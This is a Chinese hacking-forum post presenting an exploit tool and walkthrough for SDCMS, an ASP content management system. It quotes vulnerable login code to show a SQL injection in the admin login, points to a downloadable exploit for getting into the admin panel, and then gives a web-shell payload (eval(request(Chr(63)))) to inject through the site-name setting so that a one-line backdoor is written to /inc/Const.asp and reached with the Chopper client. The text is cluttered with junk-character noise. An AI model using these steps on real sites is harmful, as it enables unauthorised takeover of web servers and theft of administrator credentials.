SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
1 v6 n9 K& [: P; O2 b  n2 K漏洞文件：后台目录/index.asp

Sub Check
: x$ j2 K+ t: i# ^% b    Dim username,password,code,getcode,Rs
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
" r* o$ t5 g( O, T    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
1 v# Q5 ?4 j. C& o- w    code=Trim(Request.Form("yzm"))
+ [# i8 O6 J: {1 m5 j/ ^. i/ u    getcode=Session("SDCMSCode")
, }; B, {! z# b7 J+ O    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
( G. K2 V. B# e    IF username="" or password="" Then
        Echo "用户名或密码不能为空"ied
, ~3 F: u2 h+ T    Else
: v. q! }9 O2 h/ F$ T2 X        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
: t/ M, ^7 I; C$ x  r6 H            AddLog username,GetIp,"登录失败",1
8 N* E6 c# A# G& q            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
        Else
! Q* [8 I% ~  X            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
! l3 ]5 t  u- l9 g( C            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
9 q6 @& O* ^: }8 D            Add_Cookies "sdcms_alllever",Rs(4)
. W5 X, l. n# J1 R8 n5 r- k* H  K            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
$ E* {6 r: S2 R2 j. m+ F- l/ b            AddLog username,GetIp,"登录成功",1
7 y3 B: \$ K2 P8 r            '自动删除30天前的Log记录
' N3 F; ~) P1 p4 g- X& R& B, D            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
3 }1 V' _$ [; X# r            Go("sdcms_index.asp")
& c  w& Y' S+ u( v: d        End IF
( H3 O2 p" K, Z: E        Rs.Close
        Set Rs=Nothing
    End IF
End Sub

’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
/ L9 D$ `$ _6 [9 [1 ^, M1 v1 z
Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
. Y: d: u; b; `    t0=Trim(t0)
* k9 i6 G3 P& _2 V( n: ~+ C    Select Case t1
        Case "1"
            t0=Replace(t0,Chr(32),"")
* s6 G& X5 ?. u. I' k9 ]+ y6 Y            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
' i0 f9 n3 K* X6 T6 E5 \" e* t        Case "2"
0 J9 \  V- o$ b9 A7 [6 u( m# N+ Z- ^            t0=Replace(t0,Chr(8),"")'回格
, s( |  v5 O) a$ q/ D            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
5 e  v5 [$ A$ F1 p& f. L            t0=Replace(t0,Chr(10),"")'换行
% n/ d# b. w" y# ^5 `) p            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
4 e# n7 G; g6 y  D            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
$ v5 s5 z6 a/ W0 T            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
' M8 k' h' E4 u& X. `+ {            t0=Replace(t0,Chr(34),"")'"
! E, ~* `* ~6 I1 F; v+ [# O: w            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
2 `0 [8 p0 `) Z4 m. P1 n( E1 |            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
3 z) ^3 ^* C, H6 D4 |. X) b8 p7 S- Y            t0=Replace(t0,Chr(40),"")'(
1 N, z6 f# h) Q            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
            t0=Replace(t0,Chr(43),"")'+
) o  k/ d; R& b) t' F9 N            t0=Replace(t0,Chr(44),"")',
* W: N9 g) ?' I- T* [& x) i, G            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
$ ]5 e& G+ }% j4 n  {1 z2 E( m            t0=Replace(t0,Chr(47),"")'/
( E# g' i9 h" |& P# h            t0=Replace(t0,Chr(58),"")':
& M2 c* S. R/ U6 i            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
  C% Z$ f" P: Q$ H            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
) B6 ?1 {# t4 Y. B4 N) [* N            t0=Replace(t0,Chr(96),"")'`
8 J( V% F5 f4 v            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
    Case Else
1 Q& |" d8 j1 F8 X3 E9 b; |        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
( o- B! s# h( s0 v( o( b        t0=Replace(t0, """", """)
' h0 y% ~; {* a        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
0 u* S2 v' G) y    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
2 Q# o" `4 g9 `: w: P    FilterText=t0
  Z1 S: }6 y* G8 ~: zEnd Function
# f% \0 ~# u- o) d# y( \* `
  r& t& C6 n" W0 T看到没。直接参数是1 只过滤
# P1 k+ E) @2 b. Q* R# H                        t0=Replace(t0,Chr(32)," ")
, @" A0 G8 L/ M                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
")
0 S! b2 y* F/ c! e7 n: n6 [' G                        t0=Replace(t0,Chr(10),"
- L/ q5 L( k+ h$ v+ W- ~+ J. Z: J")
, L: }( Z4 T9 U9 {9 S; T' ?# p- |+ t漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
" i0 Z! t: t$ d/ d2 aEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

3 ?9 Q. }+ b7 W3 k6 |! h测试:


现在输入工具上验证码,然后点OK
- J$ ^% H& v/ u; s) ~
7 c( [, p3 m+ t
0 ~+ b1 X$ q* |: a$ o2 P: j2 Z看到我们直接进入后台管理界面了,呵呵!
& }: }" k4 K% O& E0 X


这样直接进入后台了。。。。
/ D% B5 _6 i; J7 s9 w5 H
. i# Q0 _8 N, U$ G% T! l
) A- {! _1 G. j* _0 T& {
& s4 B6 B. C3 S4 R  H6 w' sSDCMS提权:

, g- W9 A: m6 D, Z: P$ _5 h, ]5 \+ f: g方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
5 t8 Y, \1 `7 h


: T& s1 G, L3 @8 TOK,现在用菜刀连接下!
+ K5 E; a, E1 W! W* y5 S  w& S
+ h' s( h6 o* R! r* \0 \
, H: a; _; V- n

: Z: p- X. e$ r) I- B